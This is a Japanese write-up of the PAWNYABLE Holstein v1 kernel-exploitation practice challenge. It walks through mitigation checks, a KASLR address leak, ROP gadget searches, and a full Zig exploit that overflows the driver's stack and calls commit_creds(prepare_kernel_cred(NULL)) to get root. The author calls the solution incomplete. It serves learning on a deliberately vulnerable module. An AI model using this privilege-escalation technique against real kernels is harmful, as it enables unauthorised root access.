PAWNYABLE
Table of Contents
ptr-yudaiのPAWNYABLEを解いてました。以下の解法は複雑と詳しくないかもしれないから、参考以外を利用するには難しいだろう。 PAWNYABLEは実にいい資料から、pwnを学びたいなら、このページを閉じて、あちに練習してください。
日本語は下手ですが(読者はもう気づいたでしょう)、でも書く練習したいと思っています。それと、Zigをpwnに使用ことは非常に便利ですが(ま、Cよりも)、ですが資料が存在しないらしい。
この解法は不完全なので、後で見って下さい。
Holstein
v1: Stack Overflow
さて、どの緩和策は有効をチェックしましょう。
pwn checksec vuln.ko 2>&1
[*] './src/vuln.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
Stripped: No
cat /proc/cpuinfo | grep -q -e 'smep.*smap' && echo 'SMEP/SMAP enabled'
cat /sys/devices/system/cpu/vulnerabilities/meltdown | grep -q -e 'PTI' && echo 'KPTI enabled'
cat /proc/cmdline | grep -q -e 'nokaslr' || echo 'KASLR enabled'
SMEP/SMAP enabled
KPTI enabled
KASLR enabled
FGKASLRもチェックしましょう:
cat /proc/kallsyms | grep -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'
ffffffff99200000 T startup_64
ffffffff99200040 T secondary_startup_64
ffffffff99200045 T secondary_startup_64_no_verify
ffffffff99200230 T __startup_64
ffffffff992005e0 T startup_64_setup_env
ffffffff9926e240 T prepare_kernel_cred
ffffffff9926e390 T commit_creds
ffffffff99a00e10 T swapgs_restore_regs_and_return_to_usermode
# reboot and run again
cat /proc/kallsyms | grep -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'
ffffffffb7600000 T startup_64
ffffffffb7600040 T secondary_startup_64
ffffffffb7600045 T secondary_startup_64_no_verify
ffffffffb7600230 T __startup_64
ffffffffb76005e0 T startup_64_setup_env
ffffffffb766e240 T prepare_kernel_cred
ffffffffb766e390 T commit_creds
ffffffffb7e00e10 T swapgs_restore_regs_and_return_to_usermode
まず、KASLRを回避するてめに、アドレスリークが必要です。
const std = @import("std");
pub fn main() !void {
const fd = try std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
defer std.posix.close(fd);
var buf: [0x400 + 32]u8 = undefined;
const bytes_read = try std.posix.read(fd, &buf);
std.debug.dumpHex(buf[0..bytes_read]);
}
ffffffffa0a00000 T startup_64
ffffffffa0a00000 T _stext
ffffffffa0a00000 T _text
ffffffffa0a00040 T secondary_startup_64
ffffffffa0a00045 T secondary_startup_64_no_verify
ffffffffa0a00110 t verify_cpu
ffffffffa0a00210 T sev_verify_cbit
ffffffffa0a00220 T start_cpu0
ffffffffa0a00230 T __startup_64
ffffffffa0a005e0 T startup_64_setup_env
00007ffdcedd8528 06 00 00 00 04 00 00 00 40 00 00 00 00 00 00 00 ........@.......
00007ffdcedd8538 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 @.......@.......
00007ffdcedd8548 68 02 00 00 00 00 00 00 68 02 00 00 00 00 00 00 h.......h.......
00007ffdcedd8558 08 00 00 00 00 00 00 00 03 00 00 00 04 00 00 00 ................
00007ffdcedd8568 A8 02 00 00 00 00 00 00 A8 02 00 00 00 00 00 00 ................
00007ffdcedd8578 A8 02 00 00 00 00 00 00 16 00 00 00 00 00 00 00 ................
00007ffdcedd8588 16 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
00007ffdcedd8598 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd85a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd85b8 50 AA 00 00 00 00 00 00 50 AA 00 00 00 00 00 00 P.......P.......
00007ffdcedd85c8 00 10 00 00 00 00 00 00 01 00 00 00 05 00 00 00 ................
00007ffdcedd85d8 00 B0 00 00 00 00 00 00 00 B0 00 00 00 00 00 00 ................
00007ffdcedd85e8 00 B0 00 00 00 00 00 00 A4 FF 07 00 00 00 00 00 ................
00007ffdcedd85f8 A4 FF 07 00 00 00 00 00 00 10 00 00 00 00 00 00 ................
00007ffdcedd8608 01 00 00 00 04 00 00 00 00 B0 08 00 00 00 00 00 ................
00007ffdcedd8618 00 B0 08 00 00 00 00 00 00 B0 08 00 00 00 00 00 ................
00007ffdcedd8628 DC 68 02 00 00 00 00 00 DC 68 02 00 00 00 00 00 .h.......h......
00007ffdcedd8638 00 10 00 00 00 00 00 00 01 00 00 00 06 00 00 00 ................
00007ffdcedd8648 20 22 0B 00 00 00 00 00 20 32 0B 00 00 00 00 00 "...... 2......
00007ffdcedd8658 20 32 0B 00 00 00 00 00 03 2E 00 00 00 00 00 00 2..............
00007ffdcedd8668 70 35 00 00 00 00 00 00 00 10 00 00 00 00 00 00 p5..............
00007ffdcedd8678 02 00 00 00 06 00 00 00 90 43 0B 00 00 00 00 00 .........C......
00007ffdcedd8688 90 53 0B 00 00 00 00 00 90 53 0B 00 00 00 00 00 .S.......S......
00007ffdcedd8698 90 01 00 00 00 00 00 00 90 01 00 00 00 00 00 00 ................
00007ffdcedd86a8 08 00 00 00 00 00 00 00 04 00 00 00 04 00 00 00 ................
00007ffdcedd86b8 C0 02 00 00 00 00 00 00 C0 02 00 00 00 00 00 00 ................
00007ffdcedd86c8 C0 02 00 00 00 00 00 00 30 00 00 00 00 00 00 00 ........0.......
00007ffdcedd86d8 30 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 0...............
00007ffdcedd86e8 53 E5 74 64 04 00 00 00 C0 02 00 00 00 00 00 00 S.td............
00007ffdcedd86f8 C0 02 00 00 00 00 00 00 C0 02 00 00 00 00 00 00 ................
00007ffdcedd8708 30 00 00 00 00 00 00 00 30 00 00 00 00 00 00 00 0.......0.......
00007ffdcedd8718 08 00 00 00 00 00 00 00 51 E5 74 64 06 00 00 00 ........Q.td....
00007ffdcedd8728 00 2C 3B 03 8C 9B FF FF 00 00 00 00 00 00 00 00 .,;.............
00007ffdcedd8738 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8748 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 ................
00007ffdcedd8758 52 E5 74 64 04 00 00 00 20 22 0B 00 00 00 00 00 R.td.... "......
00007ffdcedd8768 20 32 0B 00 00 00 00 00 20 32 0B 00 00 00 00 00 2...... 2......
00007ffdcedd8778 E0 2D 00 00 00 00 00 00 E0 2D 00 00 00 00 00 00 .-.......-......
00007ffdcedd8788 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8798 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd87a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd87b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd87c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd87d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd87e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd87f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8808 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8818 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8828 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8838 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8848 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8858 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8868 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8878 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8888 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8898 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd88a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd88b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd88c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd88d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd88e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd88f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8908 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8918 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8928 E8 7E 54 80 04 B2 FF FF 3C D3 B3 A0 FF FF FF FF .~T.....<.......
00007ffdcedd8938 87 CD B4 A0 01 00 00 00 00 8A 6B 02 8C 9B FF FF ..........k.....
buf[0x408..][0..8]
はカーネルのポインタが似てそうです。何回を動かすでも、このアドレスはカーネルのベースアドレスからのオフセットは固定です(差は0x13d33c
)。
狙いはroot権限昇格なので、ropchainでcommit_creds(prepare_kernel_cred(NULL))
を呼びましょう。
ropr --nosys --nojop -R '^(pop rdi;|pop rax;|mov \[rdi+.{3,5}\], ...;) ret;' vmlinux
0xffffffff81049576: add rdi, rsi; add r8, rdi; mov rax, r8; ret;
0xffffffff810a714a: mov rsi, rax; sub rsi, rcx; cmp rdx, rax; cmovs r8, rsi; mov rax, r8; ret;
0xffffffff81c9480d: pop rcx; ret;
0xffffffff81cc6e66: pop rdi; ret;
0xffffffff81f1f0e9: pop rdi; ret;
0xffffffff81f496b1: add rdi, rsi; mov [rdi], rdx; mov [rdi+8], rcx; mov [rdi+0x10], r8d; ret;
var POP_RDI: u64 = 0xffffffff811f61fd;
var POP_RCX: u64 = 0xffffffff8146ee3c;
var ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8: u64 = 0xffffffff81049576;
var MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8: u64 = 0xffffffff810a714a;
var KPTI_TRAMPOLINE: u64 = 0xffffffff81800e10+22;
var PREPARE_KERNEL_CRED: u64 = 0xffffffff8106e240;
var COMMIT_CREDS: u64 = 0xffffffff8106e390;
fn ropchain(fd: std.posix.fd_t) !void {
const file = (std.fs.File{ .handle = fd }).writer();
var bw = std.io.bufferedWriter(file);
const writer = bw.writer();
try writer.writeByteNTimes('A', 0x400+8);
try writer.writeAll(std.mem.asBytes(&[_]u64{
POP_RDI,
0,
PREPARE_KERNEL_CRED,
POP_RDI,
0,
POP_RCX,
0, // make sub rsi, rcx a nop
MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,
ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
COMMIT_CREDS,
KPTI_TRAMPOLINE,
0, // junk
0, // junk
@intFromPtr(&ret2win),
user_cs,
user_rflags,
user_rsp,
user_ss,
}));
try bw.flush();
unreachable;
}
fn adjust_offsets(kaslr_offset: u64) void {
const gadgets = &[_]*u64{
&POP_RDI,
&POP_RCX,
&ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
&MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,
&KPTI_TRAMPOLINE,
&PREPARE_KERNEL_CRED,
&COMMIT_CREDS,
};
for (gadgets) |g| {
g.* += kaslr_offset;
}
}
whoami: unknown uid 1337
[INFO] Kernel base: 0xffffffff81000000
[INFO] You won!!
root
何故かよく分からないが、ret2win
をジャンプした後にSIGSEGV
を受け取ってしまった。
swapgs_restore_regs_and_return_to_usermode
はこの状態を避けるはずだったが、易きに付くことをしましたとsigactionでまたret2win
呼んでいました。